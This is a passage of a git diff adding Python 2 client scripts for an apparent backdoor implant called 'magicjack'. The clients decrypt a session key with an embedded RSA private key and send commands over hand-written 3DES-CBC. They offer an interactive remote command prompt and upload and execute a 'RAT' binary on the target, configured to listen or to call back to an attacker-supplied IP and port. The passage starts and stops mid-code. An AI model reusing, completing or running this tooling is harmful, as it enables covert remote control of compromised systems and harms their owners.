self.server_e, self.server_N) + + return str(message) + + def RSAdecrypt(self,m): + m = long(binascii.hexlify(m), 16) + message = pow(int(m), self.client_d, self.client_N) + message = self.long2string(message) + return message + + def recvall(self, size): + data = "" + self.s.settimeout(30) + while len(data) != size: + buf = "" + try: + buf = self.s.recv(size - len(data)) + except: + print "Socket timeout error" + return None + if len(buf) == 0: + return None + data += buf + + self.s.settimeout(None) + + return data + + def des3_cbc(self, key, message, encrypt, iv): + spfunction1 = [0x1010400,0,0x10000,0x1010404,0x1010004,0x10404,0x4,0x10000,0x400,0x1010400,0x1010404,0x400,0x1000404,0x1010004,0x1000000,0x4,0x404,0x1000400,0x1000400,0x10400,0x10400,0x1010000,0x1010000,0x1000404,0x10004,0x1000004,0x1000004,0x10004,0,0x404,0x10404,0x1000000,0x10000,0x1010404,0x4,0x1010000,0x1010400,0x1000000,0x1000000,0x400,0x1010004,0x10000,0x10400,0x1000004,0x400,0x4,0x1000404,0x10404,0x1010404,0x10004,0x1010000,0x1000404,0x1000004,0x404,0x10404,0x1010400,0x404,0x1000400,0x1000400,0,0x10004,0x10400,0,0x1010004] + spfunction2 = [0x80108020,0x80008000,0x8000,0x108020,0x100000,0x20,0x80100020,0x80008020,0x80000020,0x80108020,0x80108000,0x80000000,0x80008000,0x100000,0x20,0x80100020,0x108000,0x100020,0x80008020,0,0x80000000,0x8000,0x108020,0x80100000,0x100020,0x80000020,0,0x108000,0x8020,0x80108000,0x80100000,0x8020,0,0x108020,0x80100020,0x100000,0x80008020,0x80100000,0x80108000,0x8000,0x80100000,0x80008000,0x20,0x80108020,0x108020,0x20,0x8000,0x80000000,0x8020,0x80108000,0x100000,0x80000020,0x100020,0x80008020,0x80000020,0x100020,0x108000,0,0x80008000,0x8020,0x80000000,0x80100020,0x80108020,0x108000] + spfunction3 = [0x208,0x8020200,0,0x8020008,0x8000200,0,0x20208,0x8000200,0x20008,0x8000008,0x8000008,0x20000,0x8020208,0x20008,0x8020000,0x208,0x8000000,0x8,0x8020200,0x200,0x20200,0x8020000,0x8020008,0x20208,0x8000208,0x20200,0x20000,0x8000208,0x8,0x8020208,0x200,0x8000000,0x8020200,0x8000000,0x20008,0x208,0x20000,0x8020200,0x8000200,0,0x200,0x20008,0x8020208,0x8000200,0x8000008,0x200,0,0x8020008,0x8000208,0x20000,0x8000000,0x8020208,0x8,0x20208,0x20200,0x8000008,0x8020000,0x8000208,0x208,0x8020000,0x20208,0x8,0x8020008,0x20200] + spfunction4 = [0x802001,0x2081,0x2081,0x80,0x802080,0x800081,0x800001,0x2001,0,0x802000,0x802000,0x802081,0x81,0,0x800080,0x800001,0x1,0x2000,0x800000,0x802001,0x80,0x800000,0x2001,0x2080,0x800081,0x1,0x2080,0x800080,0x2000,0x802080,0x802081,0x81,0x800080,0x800001,0x802000,0x802081,0x81,0,0,0x802000,0x2080,0x800080,0x800081,0x1,0x802001,0x2081,0x2081,0x80,0x802081,0x81,0x1,0x2000,0x800001,0x2001,0x802080,0x800081,0x2001,0x2080,0x800000,0x802001,0x80,0x800000,0x2000,0x802080] + spfunction5 = [0x100,0x2080100,0x2080000,0x42000100,0x80000,0x100,0x40000000,0x2080000,0x40080100,0x80000,0x2000100,0x40080100,0x42000100,0x42080000,0x80100,0x40000000,0x2000000,0x40080000,0x40080000,0,0x40000100,0x42080100,0x42080100,0x2000100,0x42080000,0x40000100,0,0x42000000,0x2080100,0x2000000,0x42000000,0x80100,0x80000,0x42000100,0x100,0x2000000,0x40000000,0x2080000,0x42000100,0x40080100,0x2000100,0x40000000,0x42080000,0x2080100,0x40080100,0x100,0x2000000,0x42080000,0x42080100,0x80100,0x42000000,0x42080100,0x2080000,0,0x40080000,0x42000000,0x80100,0x2000100,0x40000100,0x80000,0,0x40080000,0x2080100,0x40000100] + spfunction6 = [0x20000010,0x20400000,0x4000,0x20404010,0x20400000,0x10,0x20404010,0x400000,0x20004000,0x404010,0x400000,0x20000010,0x400010,0x20004000,0x20000000,0x4010,0,0x400010,0x20004010,0x4000,0x404000,0x20004010,0x10,0x20400010,0x20400010,0,0x404010,0x20404000,0x4010,0x404000,0x20404000,0x20000000,0x20004000,0x10,0x20400010,0x404000,0x20404010,0x400000,0x4010,0x20000010,0x400000,0x20004000,0x20000000,0x4010,0x20000010,0x20404010,0x404000,0x20400000,0x404010,0x20404000,0,0x20400010,0x10,0x4000,0x20400000,0x404010,0x4000,0x400010,0x20004010,0,0x20404000,0x20000000,0x400010,0x20004010] + spfunction7 = [0x200000,0x4200002,0x4000802,0,0x800,0x4000802,0x200802,0x4200800,0x4200802,0x200000,0,0x4000002,0x2,0x4000000,0x4200002,0x802,0x4000800,0x200802,0x200002,0x4000800,0x4000002,0x4200000,0x4200800,0x200002,0x4200000,0x800,0x802,0x4200802,0x200800,0x2,0x4000000,0x200800,0x4000000,0x200800,0x200000,0x4000802,0x4000802,0x4200002,0x4200002,0x2,0x200002,0x4000000,0x4000800,0x200000,0x4200800,0x802,0x200802,0x4200800,0x802,0x4000002,0x4200802,0x4200000,0x200800,0,0x2,0x4200802,0,0x200802,0x4200000,0x800,0x4000002,0x4000800,0x800,0x200002] + spfunction8 = [0x10001040,0x1000,0x40000,0x10041040,0x10000000,0x10001040,0x40,0x10000000,0x40040,0x10040000,0x10041040,0x41000,0x10041000,0x41040,0x1000,0x40,0x10040000,0x10000040,0x10001000,0x1040,0x41000,0x40040,0x10040040,0x10041000,0x1040,0,0,0x10040040,0x10000040,0x10001000,0x41040,0x40000,0x41040,0x40000,0x10041000,0x1000,0x40,0x10040040,0x1000,0x41040,0x10001000,0x40,0x10000040,0x10040000,0x10040040,0x10000000,0x40000,0x10001040,0,0x10041040,0x40040,0x10000040,0x10040000,0x10001000,0x10001040,0,0x10041040,0x41000,0x41000,0x1040,0x1040,0x40040,0x10000000,0x10041000] + + chunk = 0 + m=0 + i=0 + j=0 + temp=0 + temp2=0 + right1=0 + right2=0 + left=0 + right=0 + + if len(key) != 24: + return 0 + + keys = self.des3_create_keys(key) + iterations = 9 + n = len(keys) + + if encrypt: + looping = (0, 32, 2, 62, 30, -2, 64, 96, 2) + else: + looping = (94, 62, -2, 32, 64, 2, 30, -2, -2) + + pad_len = (8 - (len(message) % 8)) % 8 + message += "\0" * pad_len + length = len(message) + + result = "" + tempresult = "" + + cbcleft = ((unpack("B", iv[m])[0] << 24) | + (unpack("B", iv[m+1])[0] << 16) | + (unpack("B", iv[m+2])[0] << 8) | + unpack("B", iv[m+3])[0]) & 0xffffffff + cbcright = ((unpack("B", iv[m+4])[0] << 24) | + (unpack("B", iv[m+5])[0] << 16) | + (unpack("B", iv[m+6])[0] << 8) | + unpack("B", iv[m+7])[0]) & 0xffffffff + + m = 0 + while m < length: + left = ((unpack("B", message[m])[0] << 24) | + (unpack("B", message[m+1])[0] << 16) | + (unpack("B", message[m+2])[0] << 8) | + unpack("B", message[m+3])[0]) & 0xffffffff + right = ((unpack("B", message[m+4])[0] << 24) | + (unpack("B", message[m+5])[0] << 16) | + (unpack("B", message[m+6])[0] << 8) | + unpack("B", message[m+7])[0]) & 0xffffffff + + m += 8 + + if encrypt: + left ^= cbcleft + right ^= cbcright + else: + cbcleft2 = cbcleft + cbcright2 = cbcright + cbcleft = left + cbcright = right + + temp = ((left >> 4) ^ right) & 0x0f0f0f0f + right ^= temp + left ^= (temp << 4) & 0xffffffff + + temp = ((left >> 16) ^ right) & 0x0000ffff + right ^= temp + left ^= (temp << 16) & 0xffffffff + + temp = ((right >> 2) ^ left) & 0x33333333 + left ^= temp + right ^= (temp << 2) & 0xffffffff + + temp = ((right >> 8) ^ left) & 0x00ff00ff + left ^= temp + right ^= (temp << 8) & 0xffffffff + + temp = ((left >> 1) ^ right) & 0x55555555 + right ^= temp + left ^= (temp << 1) & 0xffffffff + + left = ((left << 1) | (left >> 31)) & 0xffffffff + right = ((right << 1) | (right >> 31)) & 0xffffffff + + for j in range(0,iterations,3): + endloop = looping[j + 1] + loopinc = looping[j + 2] + + i = looping[j] + while i != endloop: + right1 = right ^ keys[i] + right2 = (((right >> 4) | (right << 28)) ^ keys[i+1]) & 0xffffffff + + temp = left + left = right + right = temp ^ (spfunction2[(right1 >> 24) & 0x3f] | spfunction4[(right1 >> 16) & 0x3f] | spfunction6[(right1 >> 8) & 0x3f] | spfunction8[right1 & 0x3f] | spfunction1[(right2 >> 24) & 0x3f] | spfunction3[(right2 >> 16) & 0x3f] | spfunction5[(right2 >> 8) & 0x3f] | spfunction7[right2 & 0x3f]) + + i += loopinc + + temp = left + left = right + right = temp + + left = ((left >> 1) | (left << 31)) & 0xffffffff + right = ((right >> 1) | (right << 31)) & 0xffffffff + + temp = ((left >> 1) ^ right) & 0x55555555 + right ^= temp + left ^= (temp << 1) & 0xffffffff + temp = ((right >> 8) ^ left) & 0x00ff00ff + left ^= temp + right ^= (temp << 8) & 0xffffffff + temp = ((right >> 2) ^ left) & 0x33333333 + left ^= temp + right ^= (temp << 2) & 0xffffffff + temp = ((left >> 16) ^ right) & 0x0000ffff + right ^= temp + left ^= (temp << 16) & 0xffffffff + temp = ((left >> 4) ^ right) & 0x0f0f0f0f + right ^= temp + left ^= (temp << 4) & 0xffffffff + + if encrypt: + cbcleft = left + cbcright = right + else: + left ^= cbcleft2 + right ^= cbcright2 + + tempresult += pack("BBBBBBBB", (left >> 24), ((left >> 16) & 0xff), ((left >> 8) & 0xff), (left & 0xff), (right >> 24), ((right >> 16) & 0xff), ((right >> 8) & 0xff), (right & 0xff)) + + chunk += 8 + if chunk == 512: + result += tempresult + tempresult = "" + chunk = 0 + + return result + tempresult + + def des3_create_keys(self, key): + pc2bytes0 = (0,0x4,0x20000000,0x20000004,0x10000,0x10004,0x20010000,0x20010004,0x200,0x204,0x20000200,0x20000204,0x10200,0x10204,0x20010200,0x20010204) + pc2bytes1 = (0,0x1,0x100000,0x100001,0x4000000,0x4000001,0x4100000,0x4100001,0x100,0x101,0x100100,0x100101,0x4000100,0x4000101,0x4100100,0x4100101) + pc2bytes2 = (0,0x8,0x800,0x808,0x1000000,0x1000008,0x1000800,0x1000808,0,0x8,0x800,0x808,0x1000000,0x1000008,0x1000800,0x1000808) + pc2bytes3 = (0,0x200000,0x8000000,0x8200000,0x2000,0x202000,0x8002000,0x8202000,0x20000,0x220000,0x8020000,0x8220000,0x22000,0x222000,0x8022000,0x8222000) + pc2bytes4 = (0,0x40000,0x10,0x40010,0,0x40000,0x10,0x40010,0x1000,0x41000,0x1010,0x41010,0x1000,0x41000,0x1010,0x41010) + pc2bytes5 = (0,0x400,0x20,0x420,0,0x400,0x20,0x420,0x2000000,0x2000400,0x2000020,0x2000420,0x2000000,0x2000400,0x2000020,0x2000420) + pc2bytes6 = (0,0x10000000,0x80000,0x10080000,0x2,0x10000002,0x80002,0x10080002,0,0x10000000,0x80000,0x10080000,0x2,0x10000002,0x80002,0x10080002) + pc2bytes7 = (0,0x10000,0x800,0x10800,0x20000000,0x20010000,0x20000800,0x20010800,0x20000,0x30000,0x20800,0x30800,0x20020000,0x20030000,0x20020800,0x20030800) + pc2bytes8 = (0,0x40000,0,0x40000,0x2,0x40002,0x2,0x40002,0x2000000,0x2040000,0x2000000,0x2040000,0x2000002,0x2040002,0x2000002,0x2040002) + pc2bytes9 = (0,0x10000000,0x8,0x10000008,0,0x10000000,0x8,0x10000008,0x400,0x10000400,0x408,0x10000408,0x400,0x10000400,0x408,0x10000408) + pc2bytes10 = (0,0x20,0,0x20,0x100000,0x100020,0x100000,0x100020,0x2000,0x2020,0x2000,0x2020,0x102000,0x102020,0x102000,0x102020) + pc2bytes11 = (0,0x1000000,0x200,0x1000200,0x200000,0x1200000,0x200200,0x1200200,0x4000000,0x5000000,0x4000200,0x5000200,0x4200000,0x5200000,0x4200200,0x5200200) + pc2bytes12 = (0,0x1000,0x8000000,0x8001000,0x80000,0x81000,0x8080000,0x8081000,0x10,0x1010,0x8000010,0x8001010,0x80010,0x81010,0x8080010,0x8081010) + pc2bytes13 = (0,0x4,0x100,0x104,0,0x4,0x100,0x104,0x1,0x5,0x101,0x105,0x1,0x5,0x101,0x105) + + iterations = 3 + keys = [0] * (32 * iterations) + shifts = (0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0) + + m=0 + n=0 + + for j in range(0,iterations): + left = ((unpack("B", key[m])[0] << 24) | + (unpack("B", key[m+1])[0] << 16) | + (unpack("B", key[m+2])[0] << 8) | + unpack("B", key[m+3])[0]) & 0xffffffff + right = ((unpack("B", key[m+4])[0] << 24) | + (unpack("B", key[m+5])[0] << 16) | + (unpack("B", key[m+6])[0] << 8) | + unpack("B", key[m+7])[0]) & 0xffffffff + + m += 8 + + temp = ((left >> 4) ^ right) & 0x0f0f0f0f + right ^= temp + left ^= (temp << 4) & 0xffffffff + + temp = ((right >> 16)^ left) & 0x0000ffff + left ^= temp + right ^= (temp << 16) & 0xffffffff + + temp = ((left >> 2) ^ right) & 0x33333333 + right ^= temp + left ^= (temp << 2) & 0xffffffff + + temp = ((right >> 16)^ left) & 0x0000ffff + left ^= temp + right ^= (temp << 16) & 0xffffffff + + temp = ((left >> 1) ^ right) & 0x55555555 + right ^= temp + left ^= (temp << 1) & 0xffffffff + + temp = ((right >> 8) ^ left) & 0x00ff00ff + left ^= temp + right ^= (temp << 8) & 0xffffffff + + temp = ((left >> 1) ^ right) & 0x55555555 + right ^= temp + left ^= (temp << 1) & 0xffffffff + + temp = ((left << 8) | ((right >> 20) & 0x000000f0)) & 0xffffffff + left = ((right << 24) | ((right << 8) & 0xff0000) | ((right >> 8) & 0xff00) | ((right >> 24) & 0xf0)) & 0xffffffff + right = temp + + for i in range(0,len(shifts)): + if shifts[i]: + left = ((left << 2) | (left >> 26)) & 0xffffffff + right = ((right << 2) | (right >> 26)) & 0xffffffff + left <<= 0 + right <<= 0 + else: + left = ((left << 1) | (left >> 27)) & 0xffffffff + right = ((right << 1) | (right >> 27)) & 0xffffffff + left <<= 0 + right <<= 0 + + left &= 0xfffffff0 + right &= 0xfffffff0 + + lefttemp = pc2bytes0[left >> 28] | pc2bytes1[(left >> 24) & 0xf] | pc2bytes2[(left >> 20) & 0xf] | pc2bytes3[(left >> 16) & 0xf] | pc2bytes4[(left >> 12) & 0xf] | pc2bytes5[(left >> 8) & 0xf] | pc2bytes6[(left >> 4) & 0xf] + + righttemp = pc2bytes7[right >> 28] | pc2bytes8[(right >> 24) & 0xf] | pc2bytes9[(right >> 20) & 0xf] | pc2bytes10[(right >> 16) & 0xf] | pc2bytes11[(right >> 12) & 0xf] | pc2bytes12[(right >> 8) & 0xf] | pc2bytes13[(right >> 4) & 0xf] + + temp = ((righttemp >> 16) ^ lefttemp) & 0x0000ffff + keys[n] = (lefttemp ^ temp) & 0xffffffff + keys[n+1] = (righttemp ^ (temp << 16)) & 0xffffffff + + n += 2 + + return keys + + def generate_iv(self): + iv = ''.join([chr(random.randint(0, 255)) for x in xrange(0, 8)]) + return iv + + def send_file(self): + full_path = "%s/%s" % (self.options.DIR, self.options.REMOTE) + + print "Getting Directory List of %s" % self.options.DIR + result = self.send_command("ls -al %s" % self.options.DIR) + if re.search('not found', result, re.I) != None and re.search('not such file', result, re.I) != None: + print "** Directory Exists **" + else: + print "Sending: mkdir %s" % self.options.DIR + result = self.send_command("mkdir %s" % self.options.DIR) + print result + if result.find("No such file or directory") != -1: + return False + + print "Reading in local file" + fp = open(self.options.LOCAL, 'rb') + localData = fp.read() + fp.close() + + print "Sending file" + command = "\x02%s\x00%s" % (full_path, localData) + self.send_data(command) + + # get response + size = self.recv_size() + if size == -1: + return False + data = self.recv_data(size) + + if data == "ok": + print "Upload succeeded" + cmd = "" + if self.options.BEFORE: + cmd += "%s " % self.options.BEFORE + else: + cmd = "PATH=. && " + if self.options.LISTEN_PORT: + cmd += "D=-l%s " % self.options.LISTEN_PORT + elif self.options.CALLBACK_IP: + cmd += "D=-c%s:%s " % (self.options.CALLBACK_IP, self.options.CALLBACK_PORT) + + cmd += "%s" % self.options.REMOTE + + if self.options.AFTER: + cmd += " %s" % self.options.AFTER + + fullCmd = "cd %s && chmod 700 %s && %s" % (self.options.DIR, self.options.REMOTE, cmd) + + result = self.send_command(fullCmd) + + print result + return True + else: + print "Binary upload failed" + return False + + + def send_data(self, data): + + iv1 = self.generate_iv() + iv2 = self.generate_iv() + + enc_len = self.des3_cbc(self.key, pack("!I", len(data)) + self.sz_chk, 1, iv1) + enc_data = self.des3_cbc(self.key, data, 1, iv2) + + to_send = "%s%s%s%s" % (iv1, enc_len, iv2, enc_data) + #print "sending: %s" % binascii.hexlify(to_send) + + try: + self.s.send(to_send) + except: + print "Error sending to socket" + + def recv_size(self): + + data = self.recvall(16) + if data is None: + return -1 + iv = data[:8] + size_enc = data[8:] + size_buf = self.des3_cbc(self.key, size_enc, 0, iv) + size = unpack("!I", size_buf[:4])[0] + if size_buf[4:] != self.sz_chk: + return -1 + + return size + + + def recv_data(self, plain_len): + + tot_len = plain_len + ((8 - (plain_len % 8)) % 8) + data = self.recvall(8 + tot_len) + if data is None: + return None + iv = data[:8] + buf_enc = data[8:] + buf = self.des3_cbc(self.key, buf_enc, 0, iv) + + return buf[:plain_len] + + + def send_command(self, cmd): + print "Executing: %s" % cmd + + self.send_data("\x01%s" % cmd) + size = self.recv_size() + if size == -1: + return None + result = self.recv_data(size) + + return result + + + def connect(self): + print "Connecting to %s:%s" % (self.options.ADDR,self.options.PORT) + try: + self.s.connect((self.options.ADDR,int(self.options.PORT))) + except: + print "Unable to connect to server" + self.s.close() + return False + + #Get Server SessionID/PAD + data = "" + try: + data = self.RSAdecrypt(self.recvall(128)) + except: + print "Unable to decrypt key" + self.s.close() + return False + + self.key = data[:24] + + print "Got Session Key: %s" % binascii.hexlify(self.key) + return True + + def main(self): + if not self.parseArgs(): + return False + + if not self.connect(): + return False + + if not self.s: + print "Error..." + self.s.close() + return False + + if self.AUTO: + self.send_file() + + elif self.options.CMD: + result = self.send_command(self.options.CMD) + if result is None: + print "Error from server" + self.s.close() + return False + print result + self.s.close() + + else: + while self.s: + print "_" * 15 + cmd = str(raw_input("Enter command: ")).strip() + print "_" * 15 + if cmd == "exit" or cmd == "quit": + self.s.close() + return True + + result = self.send_command(cmd) + if result is None: + print "Error from server. Exiting." + self.s.close() + return False + + print result + + + def parseArgs(self): + parser = OptionParser() + parser.add_option("-i", dest="ADDR", type="string", action="store", help="Server IP Address") + parser.add_option("-p", dest="PORT", type="string", action="store", help="Server Port") + + parser.add_option("-C", dest="CMD", type="string", action="store", help="Run a command") + + parser.add_option("-d", dest="DIR", type="string", action="store", help="Upload Directory") + parser.add_option("-a", dest="LOCAL", type="string", action="store", help="Local RAT") + parser.add_option("-r", dest="REMOTE", type="string", action="store", help="Remote RAT Name") + + parser.add_option("-l", dest="LISTEN_PORT", type="string", action="store", help="Listen Port") + parser.add_option("-c", dest="CALLBACK_IP", type="string", action="store", help="Callback IP Address") + parser.add_option("-o", dest="CALLBACK_PORT", type="string", action="store", help="Callback Port") + + parser.add_option("-B", dest="BEFORE", type="string", action="store", help="Prepend before binary") + parser.add_option("-A", dest="AFTER", type="string", action="store", help="Append after binary") + + (options,args) = parser.parse_args(sys.argv) + + if not options.ADDR or not options.PORT: + print "Must Supply ADDR PORT and KEY" + return False + + if options.CMD and (options.DIR or options.LOCAL or options.REMOTE): + print "Can not do auto-upload with CMD" + return False + + if options.DIR and options.LOCAL and options.REMOTE: + self.AUTO = True + + if not os.path.exists(options.LOCAL): + print "Local file must exist..." + return False + + if options.LISTEN_PORT and (options.CALLBACK_IP or options.CALLBACK_PORT): + print "Can not supply listen and callback..." + return False + + if (options.CALLBACK_IP and not options.CALLBACK_PORT) or (options.CALLBACK_PORT and not options.CALLBACK_IP): + print "Must supply both CALLBACK IP and PORT" + return False + + self.options = options + return True + +if __name__ == "__main__": + magicclient().main() diff --git a/Linux/bin/magicjack/magicjack_v1.1.0.0_client-1.1.0.0.py b/Linux/bin/magicjack/magicjack_v1.1.0.0_client-1.1.0.0.py new file mode 100755 index 0000000..7e27946 --- /dev/null +++ b/Linux/bin/magicjack/magicjack_v1.1.0.0_client-1.1.0.0.py @@ -0,0 +1,695 @@ +#!/usr/bin/env python + +import os,sys,socket,random,re +from binascii import hexlify, unhexlify +from struct import pack,unpack +from optparse import OptionParser +from math import log + +version = '1.1.0.0' + +# RSA key modulus +rsa_n = 'c79924f312ab95086e5957d0310465a8a8c365ddfb62efda12317f5fea2e5d03a94d2c3415682fdad63c957195b205860ccfcc38a5efa273cb2f6b8146d0a66e0ae83f06e3e0fde5bdb4aba9d79f4504ad5e46f5d3736429002b84a513157a27ba2e26dfb7dac016b10cee029b94ef8d051f8e0fc21125217cac393be56f4fac155c1d0d59f5b0c2b0e9ab4af5a246a8485159b6547d4fdf2f4de0bbb44e4b126aeeca5313d2df679b83c160ec7d0d2712b9c1ae75348ffb0097076133ebb338557abb1efcd6c27c1984c667790877696ce19049c0d5173f348ed4e891ff7bbfbc74cc73cfe9ad2c3da4e04f7d0071634c942efd71b24dfb2444b77464594a31' + +# RSA private exponent +rsa_d = '3a20c18000b9f387270be1e501c17411b0446790443bc5fa4e3e180848dd03bda33a945afeb8fee6ce698a642fe24e758199aab1fcb1533041c6279ad892bf4560ebce1f25924a9ef3a6802fd059d3f1cec39c0acf6fd5859345193631de995aa47ff85642e6f3f627cdca2afc405d9b4618b078aa5defe056bc99567634fa90707daf9051c93372d65bdd38da19bcce80dcf545a16688ce52c8e66a0e3de32234b94d5f332b5fc8883ae90afc0f8566ffd3d53205468f007ab8ac5e7625b46de024422a1fae32d905c33b9fdb02c7f7323a16f9a35b91749957a776bbc0f3e72ca642d04633e2a2d8eb38f0450bcf64f8005b6c0e5ee3cee261aa4cfcbb2b79' + +# RSA public exponent +rsa_e = '10001' + +class magicclient: + + def __init__(self): + + self.version = version + + #These are used for decrypting data from server + self.sz_chk = "x8jV" + self.rsa = RSA(rsa_n, rsa_e, rsa_d) + self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.AUTO = False + self.options = None + + self.errorCodes = { + "0": "Command Ran Successfully", + "1": "Error running command", + "2": "Directory already exists" + } + + + def recvall(self, size): + + data = "" + + while len(data) != size: + try: + buf = self.s.recv(size - len(data)) + except: + print "Socket timeout error" + return None + + if len(buf) == 0: + return None + + data += buf + + return data + + + def generate_iv(self): + + iv = ''.join([chr(random.randint(0, 255)) for x in xrange(0, 8)]) + + return iv + + + def send_file(self): + + full_path = "%s/%s" % (self.options.DIR, self.options.REMOTE) + + print "Getting Directory List of %s" % self.options.DIR + result = self.send_command("ls -al %s" % self.options.DIR) + + if re.search('not found', result, re.I) != None and \ + re.search('not such file', result, re.I) != None: + print "** Directory Exists **" + else: + print "Sending: mkdir %s" % self.options.DIR + + result = self.send_command("mkdir %s" % self.options.DIR) + print result + + if result == None or result.find("No such file or directory") != -1: + return False + + print "Reading in local file" + + fp = open(self.options.LOCAL, 'rb') + localData = fp.read() + fp.close() + + print "Sending file" + + command = "\x02%s\x00%s" % (full_path, localData) + self.send_data(command) + + # get response + size = self.recv_size() + if size == -1: + return False + + data = self.recv_data(size) + + if data == "ok": + print "Upload succeeded" + + if self.options.BEFORE: + cmd = "%s " % self.options.BEFORE + else: + cmd = "PATH=. && " + if self.options.LISTEN_PORT: + cmd += "D=-l%s " % self.options.LISTEN_PORT + elif self.options.CALLBACK_IP: + cmd += "D=-c%s:%s " % (self.options.CALLBACK_IP, + self.options.CALLBACK_PORT) + + cmd += "%s" % self.options.REMOTE + + if self.options.AFTER: + cmd += " %s" % self.options.AFTER + + fullCmd = "cd %s && chmod 700 %s && %s" % (self.options.DIR, + self.options.REMOTE, cmd) + result = self.send_command(fullCmd) + print result + + return True + else: + print "Binary upload failed" + return False + + + def send_data(self, data): + + iv1 = self.generate_iv() + iv2 = self.generate_iv() + + enc_data = self.des.encrypt(data, iv2, 1) + enc_len = self.des.encrypt(pack("!I", len(enc_data)) + self.sz_chk, iv1, 0) + + to_send = "%s%s%s%s" % (iv1, enc_len, iv2, enc_data) + #print "sending: %s" % hexlify(to_send) + + try: + self.s.sendall(to_send) + except: + print "Error sending to socket" + + + def recv_size(self): + + data = self.recvall(16) + if data is None: + return -1 + + iv = data[:8] + size_enc = data[8:] + size_buf = self.des.decrypt(size_enc, iv, 0) + size = unpack("!I", size_buf[:4])[0] + + if size_buf[4:] != self.sz_chk: + return -1 + + return size + + + def recv_data(self, size): + + data = self.recvall(8 + size) + if data is None: + return None + + iv = data[:8] + buf_enc = data[8:] + buf = self.des.decrypt(buf_enc, iv, 1) + + return buf + + + def send_command(self, cmd): + + print "Executing: %s" % cmd + + self.send_data("\x01%s" % cmd) + + size = self.recv_size() + if size == -1: + return None + + result = self.recv_data(size) + + return result + + + def connect(self): + + print "Connecting to %s:%s" % (self.options.ADDR, self.options.PORT) + + try: + self.s.connect((self.options.ADDR, int(self.options.PORT))) + except: + print "Unable to connect to server" + self.s.close() + return False + + #Get Server SessionID/PAD + try: + enc_data = self.recvall(256) + if enc_data == None: + print "Unable to receive key" + self.s.close() + return False + + data = self.rsa.decrypt(enc_data) + except: + print "Unable to decrypt key" + self.s.close() + return False + + key = data[:24] + self.des = DES(key) + + print "Got Session Key: %s" % hexlify(key) + + return True + + + def main(self): + + if not self.parseArgs(): + return False + + if not self.connect(): + return False + + if not self.s: + print "Error..." + self.s.close() + return False + + if self.AUTO: + self.send_file() + elif self.options.CMD: + result = self.send_command(self.options.CMD) + + if result is None: + print "Error from server" + self.s.close() + return False + + print result + self.s.close() + else: + while self.s: + print "_" * 15 + + cmd = raw_input("Enter command: ") + + print "_" * 15 + + if cmd == "exit" or cmd == "quit": + self.s.close() + return True + + result = self.send_command(cmd) + if result is None: + print "Error from server. Exiting." + self.s.close() + return False + + print result + + + def parseArgs(self): + + parser = OptionParser() + + parser.add_option("-i", dest="ADDR", type="string", action="store", + help="Server IP Address") + parser.add_option("-p", dest="PORT", type="string", action="store", + help="Server Port") + + parser.add_option("-C", dest="CMD", type="string", action="store", + help="Run a command") + parser.add_option("-d", dest="DIR", type="string", action="store", + help="Upload Directory") + parser.add_option("-a", dest="LOCAL", type="string", action="store", + help="Local RAT") + parser.add_option("-r", dest="REMOTE", type="string", action="store", + help="Remote RAT Name") + + parser.add_option("-l", dest="LISTEN_PORT", type="string", action="store", + help="Listen Port") + parser.add_option("-c", dest="CALLBACK_IP", type="string", action="store", + help="Callback IP Address") + parser.add_option("-o", dest="CALLBACK_PORT", type="string", action="store", + help="Callback Port") + + parser.add_option("-B", dest="BEFORE", type="string", action="store", + help="Prepend before binary") + parser.add_option("-A", dest="AFTER", type="string", action="store", + help="Append after binary") + + (options, args) = parser.parse_args(sys.argv) + + if not options.ADDR or not options.PORT: + print "Must Supply ADDR PORT and KEY" + return False + + if options.CMD and (options.DIR or options.LOCAL or options.REMOTE): + print "Can not do auto-upload with CMD" + return False + + if options.DIR and options.LOCAL and options.REMOTE: + self.AUTO = True + + if not os.path.exists(options.LOCAL): + print "Local file must exist..." + return False + + if options.LISTEN_PORT and (options.CALLBACK_IP or options.CALLBACK_PORT): + print "Can not supply listen and callback..." + return False + + if (options.CALLBACK_IP and not options.CALLBACK_PORT) or \ + (options.CALLBACK_PORT and not options.CALLBACK_IP): + print "Must supply both CALLBACK IP and PORT" + return False + + self.options = options + return True + + +class RSA: + + def __init__(self, modulus, pub_exponent=None, priv_exponent=None): + + self.n = long(modulus, 16) + + if pub_exponent != None: + self.e = long(pub_exponent, 16) + else: + self.e = None + + if priv_exponent != None: + self.d = long(priv_exponent, 16) + else: + self.d = None + + + def encrypt(self, data): + + if self.e == None: + raise Exception('No encryption exponent specified') + + num = self.bytes2long(data) + + if num > self.n: + raise Exception('Data is too large') + + enc = pow(num, self.e, self.n) + + return self.long2bytes(enc) + + + def decrypt(self, data): + + if self.d == None: + raise Exception('No decryption exponent specified') + + num = self.bytes2long(data) + + if num > self.n: + raise Exception('Data is too large') + + dec = pow(num, self.d, self.n) + + return self.long2bytes(dec) + + + @staticmethod + def bytes2long(bytes): + + return long(hexlify(bytes), 16) + + + @staticmethod + def long2bytes(num): + + hex_str = '%x' % num + + if len(hex_str) % 2 != 0: + hex_str = '0%s' % hex_str + + return unhexlify(hex_str) + + +class DES: + + def __init__(self, key): + + if len(key) != 24: + raise Exception('Key length must be 24 bytes') + + self.key_set = self.create_keys(key) + + + def encrypt(self, message, iv, pad): + + return self.crypt_cbc(message, 1, iv, pad) + + + def decrypt(self, message, iv, pad): + + return self.crypt_cbc(message, 0, iv, pad) + + + def crypt_cbc(self, message, encrypt, iv, pad): + + spfunction1 = [0x1010400,0,0x10000,0x1010404,0x1010004,0x10404,0x4,0x10000,0x400,0x1010400,0x1010404,0x400,0x1000404,0x1010004,0x1000000,0x4,0x404,0x1000400,0x1000400,0x10400,0x10400,0x1010000,0x1010000,0x1000404,0x10004,0x1000004,0x1000004,0x10004,0,0x404,0x10404,0x1000000,0x10000,0x1010404,0x4,0x1010000,0x1010400,0x1000000,0x1000000,0x400,0x1010004,0x10000,0x10400,0x1000004,0x400,0x4,0x1000404,0x10404,0x1010404,0x10004,0x1010000,0x1000404,0x1000004,0x404,0x10404,0x1010400,0x404,0x1000400,0x1000400,0,0x10004,0x10400,0,0x1010004] + spfunction2 = 